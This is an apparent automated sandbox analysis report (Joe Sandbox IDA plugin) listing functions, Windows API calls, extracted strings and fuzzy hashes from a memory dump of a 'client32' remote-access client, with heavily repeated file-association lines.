Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalDeleteObjectSection$CurrentEnterLeavePropRemoveThreadWindow
String ID:
API String ID: 3515130325-0
Opcode ID: 46033b57bf639eea3cd9ed38a1c16d3558fbd0589452317d10e1d71273b58253
Instruction ID: 1c6622a748d39fdb4262bd57cd097bd54826a8b02c52af31ca45ab1e1736de8c
Opcode Fuzzy Hash: 46033b57bf639eea3cd9ed38a1c16d3558fbd0589452317d10e1d71273b58253
Instruction Fuzzy Hash: 3A217CB1E00715ABDB20DF69C840B5FFBE8EB44B18F004A6EE86293680D775E400CB91

Function 110635D0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

FindWindowA.USER32(?,00000000), ref: 110635EE

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 67625af9ef427f126eaaa19eee18271360e216875c09203b5f02470f08078770
Instruction ID: 3dfe66363058c9bfecd5972d85aac8b65f3b14315a6543d37988fa572b57e471
Opcode Fuzzy Hash: 67625af9ef427f126eaaa19eee18271360e216875c09203b5f02470f08078770
Instruction Fuzzy Hash: AE21A675E4122D9BD750CF58E885BDEF7B4EF49314F1081AAEA099B281DA30AE44CBD0

Function 1103D000 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 68sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4,00000000,?,00000000,-111E8454), ref: 1103D031

Strings

:%u, xrefs: 1103D08F
/weblock.htm, xrefs: 1103D09D
redirect:http://127.0.0.1, xrefs: 1103D07D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: /weblock.htm$:%u$redirect:http://127.0.0.1
API String ID: 3472027048-2181447511
Opcode ID: 093620b9e6204ff284702fb2b4b85a75b2fa0a570d981542f5a30dc90b8a859a
Instruction ID: 21be2a4b8032406d2ea18ae0cb8702588b0b9a72b53f921a10b0da300665c8c6
Opcode Fuzzy Hash: 093620b9e6204ff284702fb2b4b85a75b2fa0a570d981542f5a30dc90b8a859a
Instruction Fuzzy Hash: 7E110831E0111ADFFB50DBA4DC80FFEFBA89B40708F0041A9F81E9B180DA257D058BA2

Function 110071A5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 110072F7
SetFocus.USER32(?), ref: 11007353

Strings

edit, xrefs: 110072F1

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_malloc_memsetwsprintf
String ID: edit
API String ID: 1305092643-2167791130
Opcode ID: ae13e062d4c6b0608e2d36c35cb985e09f7d95daac5d484f7863d57a90d2df16
Instruction ID: de71754c8f8b7a6d7854e6b919aecaa1dd8dfea79cc428f4c3780ea4bc6547d2
Opcode Fuzzy Hash: ae13e062d4c6b0608e2d36c35cb985e09f7d95daac5d484f7863d57a90d2df16
Instruction Fuzzy Hash: F251A2B6A00606AFE741CFA4DC80BABB7E5FB88354F11856DF955C7340EA34E942CB61

Function 1103F1C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

Part of subcall function 110945B0: GetSystemMetrics.USER32(0000004C), ref: 110945BE
Part of subcall function 110945B0: GetSystemMetrics.USER32(0000004D), ref: 110945C7
Part of subcall function 110945B0: GetSystemMetrics.USER32(0000004E), ref: 110945CE
Part of subcall function 110945B0: GetSystemMetrics.USER32(00000000), ref: 110945D7
Part of subcall function 110945B0: GetSystemMetrics.USER32(0000004F), ref: 110945DD
Part of subcall function 110945B0: GetSystemMetrics.USER32(00000001), ref: 110945E5

GetRegionData.GDI32(?,00001000,?), ref: 1103F225

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 1103F3A5, 1103F3DA
IsA(), xrefs: 1103F3AA, 1103F3DF

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$DataErrorExitLastMessageProcessRegionwsprintf
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 1231476184-2270926670
Opcode ID: 1ee90390cde84d3df49d841f7e78e371a40b06f2b4a846bb4340604aa9f0e91b
Instruction ID: ed1dcef42c32e343aa2dc589496e1f180b2bdd3f857d0972ddb525fe63e2c745
Opcode Fuzzy Hash: 1ee90390cde84d3df49d841f7e78e371a40b06f2b4a846bb4340604aa9f0e91b
Instruction Fuzzy Hash: 03611AB5E002AA9FCB24CF54CC84ADDF3B5BF88344F0182D9E689A7244D6B46E85CF51

Function 1109F520 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHFOLDER(00000000,00008005,00000000,00000000,00000000), ref: 1109F5B1

Strings

Journal, xrefs: 1109F566
JournalPath, xrefs: 1109F561

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath
String ID: Journal$JournalPath
API String ID: 1514166925-2350371490
Opcode ID: 78c34b45e83e0a7bb2dde4828659bbd823ba14e96ca335c8276407c8d75681a0
Instruction ID: 11b6dad32e2d97d970e3caf2bb25ef3de73850c8738cc32a1a68caa6727c68f0
Opcode Fuzzy Hash: 78c34b45e83e0a7bb2dde4828659bbd823ba14e96ca335c8276407c8d75681a0
Instruction Fuzzy Hash: CB415630A0469E9FC712CF288CA4BDAFFE4AF49704F1045E9D9599B340EA71A908C792

Function 110091C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11009235
_memmove.LIBCMT ref: 11009286

Part of subcall function 11008D20: std::_Xinvalid_argument.LIBCPMT ref: 11008D3A

Strings

string too long, xrefs: 11009230

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: fe7fdde36dceac603a906d55c25aa5c734350282d9c6626d3c8168d1cedf9e85
Instruction ID: 8cb126bd188b80763a4beda36b0c12a195f1cb8be2bc8b06c5a52f773acf5c91
Opcode Fuzzy Hash: fe7fdde36dceac603a906d55c25aa5c734350282d9c6626d3c8168d1cedf9e85
Instruction Fuzzy Hash: D131E932F046159BF324CE9CE88099AF7EDEFA57A4B10492FE499C7640E771AC4083A1

Function 1101F540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 1101F654

Part of subcall function 1115BC80: SetPropA.USER32(00000000,00000000,00000000), ref: 1115BC9E
Part of subcall function 1115BC80: SetWindowLongA.USER32(00000000,000000FC,1115B690), ref: 1115BCAF

Part of subcall function 1115AB90: SetPropA.USER32(?,?,?), ref: 1115ABE5

Strings

OnDestroy - delete m_WBFrameWnd, xrefs: 1101F61A
Chat Window Destroyed, xrefs: 1101F56B

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Prop$DeleteLongObjectWindow
String ID: Chat Window Destroyed$OnDestroy - delete m_WBFrameWnd
API String ID: 2163963939-4047192309
Opcode ID: f532d7baad54d8461fc3ae6bb98b714d1c30314f4d0ae9ff85dbd9b13a971ef0
Instruction ID: 2ca5df1c83b7093fb112a314c8b8f23271f3bd6e0fbecad470d58f5d17d89803
Opcode Fuzzy Hash: f532d7baad54d8461fc3ae6bb98b714d1c30314f4d0ae9ff85dbd9b13a971ef0
Instruction Fuzzy Hash: 9831D1B9A00701AFE750DF65D880F6FF3A6EF85728F14451DE42A5B380DB75B8018B92

Function 1100F100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F11B

Part of subcall function 1115CAC3: std::exception::exception.LIBCMT ref: 1115CAD8
Part of subcall function 1115CAC3: __CxxThrowException@8.LIBCMT ref: 1115CAED
Part of subcall function 1115CAC3: std::exception::exception.LIBCMT ref: 1115CAFE

std::_Xinvalid_argument.LIBCPMT ref: 1100F132

Strings

string too long, xrefs: 1100F116, 1100F12D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 8db46efe6db9436f2064baa0ab933277cc371c64cd769e299ef2e365ad4ce0f9
Instruction ID: 459ca286bfafb729ab8668ecd34245bbd8ac8787f22416be0bfd58d1cac74b78
Opcode Fuzzy Hash: 8db46efe6db9436f2064baa0ab933277cc371c64cd769e299ef2e365ad4ce0f9
Instruction Fuzzy Hash: AF119A337046155FF321DD5CE840B9AF7EDEF966A4F10066FF551CB680C7A1A80053A1

Function 11141160 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(7693795C,?,00000104,7693795C), ref: 11141187
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 111411C6

Strings

:, xrefs: 1114119B

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandFileModuleNameStrings
String ID: :
API String ID: 2034136378-336475711
Opcode ID: 4235481db99a1fe8e38dcad11b9349446c339abffdb1be2f9fdec4ec6dce3d7c
Instruction ID: e8c46cf3d1b56f3be7b1a24a14a9bc1160d60916633b9fa193cc236185d298eb
Opcode Fuzzy Hash: 4235481db99a1fe8e38dcad11b9349446c339abffdb1be2f9fdec4ec6dce3d7c
Instruction Fuzzy Hash: 42212574E043599FDB11CF74CC44FDAFBA89F06B08F1041D4E58897542DB706688CB92

Function 110951C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110951D5

Part of subcall function 1115CAC3: std::exception::exception.LIBCMT ref: 1115CAD8
Part of subcall function 1115CAC3: __CxxThrowException@8.LIBCMT ref: 1115CAED
Part of subcall function 1115CAC3: std::exception::exception.LIBCMT ref: 1115CAFE

_memmove.LIBCMT ref: 11095204

Strings

vector<T> too long, xrefs: 110951D0

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 2952b73fd998563f048a933d1ba53c5bfdc636f6e088622ceb482da1f692f74b
Instruction ID: 217828f4c71c19342a5ecab7fe7428f3d34a376960179f2b8ecf04753e75067f
Opcode Fuzzy Hash: 2952b73fd998563f048a933d1ba53c5bfdc636f6e088622ceb482da1f692f74b
Instruction Fuzzy Hash: E101B5B2E012099FC724CE69DC90CA7B7E9EBD53147148A2EF45A83644EA31F804C790

Function 1100B520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

Strings

Error. preventing capbuf overflow, xrefs: 1100B556
Error. NULL capbuf, xrefs: 1100B531

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
